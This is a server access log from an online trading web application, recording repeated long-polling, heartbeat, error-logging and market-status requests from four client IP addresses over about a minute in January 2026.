[09/Jan/2026:13:40:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937504235 HTTP/1.1" -
[09/Jan/2026:13:40:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937514192 HTTP/1.1" -
[09/Jan/2026:13:40:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937498531 HTTP/1.1" -
[09/Jan/2026:13:40:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:40:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:40:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937501944 HTTP/1.1" -
[09/Jan/2026:13:40:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937509345 HTTP/1.1" -
[09/Jan/2026:13:40:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937520191 HTTP/1.1" -
[09/Jan/2026:13:40:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937503593 HTTP/1.1" -
[09/Jan/2026:13:40:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937506993 HTTP/1.1" -
[09/Jan/2026:13:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:40:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937514412 HTTP/1.1" -
[09/Jan/2026:13:40:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937508658 HTTP/1.1" -
[09/Jan/2026:13:40:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937526195 HTTP/1.1" -
[09/Jan/2026:13:40:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937512119 HTTP/1.1" -
[09/Jan/2026:13:40:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937519521 HTTP/1.1" -
[09/Jan/2026:13:40:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937513726 HTTP/1.1" -
[09/Jan/2026:13:40:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937532188 HTTP/1.1" -
[09/Jan/2026:13:40:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:40:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937517241 HTTP/1.1" -
[09/Jan/2026:13:40:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937524592 HTTP/1.1" -
[09/Jan/2026:13:40:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937518748 HTTP/1.1" -
[09/Jan/2026:13:40:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:40:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:40:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937538195 HTTP/1.1" -
[09/Jan/2026:13:40:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937522382 HTTP/1.1" -
[09/Jan/2026:13:40:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937529630 HTTP/1.1" -
[09/Jan/2026:13:40:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937523785 HTTP/1.1" -
[09/Jan/2026:13:40:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937527503 HTTP/1.1" -
[09/Jan/2026:13:40:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937534698 HTTP/1.1" -
[09/Jan/2026:13:40:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937544185 HTTP/1.1" -
[09/Jan/2026:13:41:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937528819 HTTP/1.1" -
[09/Jan/2026:13:41:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:41:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:41:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937532702 HTTP/1.1" -
[09/Jan/2026:13:41:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937539793 HTTP/1.1" -
[09/Jan/2026:13:41:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937550196 HTTP/1.1" -
[09/Jan/2026:13:41:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937533902 HTTP/1.1" -
[09/Jan/2026:13:41:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937537754 HTTP/1.1" -
[09/Jan/2026:13:41:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937544871 HTTP/1.1" -
[09/Jan/2026:13:41:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937556185 HTTP/1.1" -
[09/Jan/2026:13:41:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937538972 HTTP/1.1" -
[09/Jan/2026:13:41:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937542895 HTTP/1.1" -
[09/Jan/2026:13:41:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937549966 HTTP/1.1" -
[09/Jan/2026:13:41:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937544035 HTTP/1.1" -
[09/Jan/2026:13:41:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937562194 HTTP/1.1" -
[09/Jan/2026:13:41:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:41:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:41:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:41:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:41:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937548063 HTTP/1.1" -
[09/Jan/2026:13:41:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937555033 HTTP/1.1" -
[09/Jan/2026:13:41:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937549107 HTTP/1.1" -
[09/Jan/2026:13:41:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:41:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:41:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937568189 HTTP/1.1" -
[09/Jan/2026:13:41:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937553192 HTTP/1.1" -
[09/Jan/2026:13:41:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937560073 HTTP/1.1" -
[09/Jan/2026:13:41:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937554145 HTTP/1.1" -
[09/Jan/2026:13:41:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937574194 HTTP/1.1" -
[09/Jan/2026:13:41:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937558381 HTTP/1.1" -
[09/Jan/2026:13:41:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937565150 HTTP/1.1" -
[09/Jan/2026:13:41:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937559176 HTTP/1.1" -
[09/Jan/2026:13:41:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:41:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:41:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937563504 HTTP/1.1" -
[09/Jan/2026:13:41:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937570234 HTTP/1.1" -
[09/Jan/2026:13:41:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937580199 HTTP/1.1" -
[09/Jan/2026:13:41:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937564254 HTTP/1.1" -
[09/Jan/2026:13:41:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937568552 HTTP/1.1" -
[09/Jan/2026:13:41:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937575311 HTTP/1.1" -
[09/Jan/2026:13:41:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937586187 HTTP/1.1" -
[09/Jan/2026:13:41:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937569400 HTTP/1.1" -
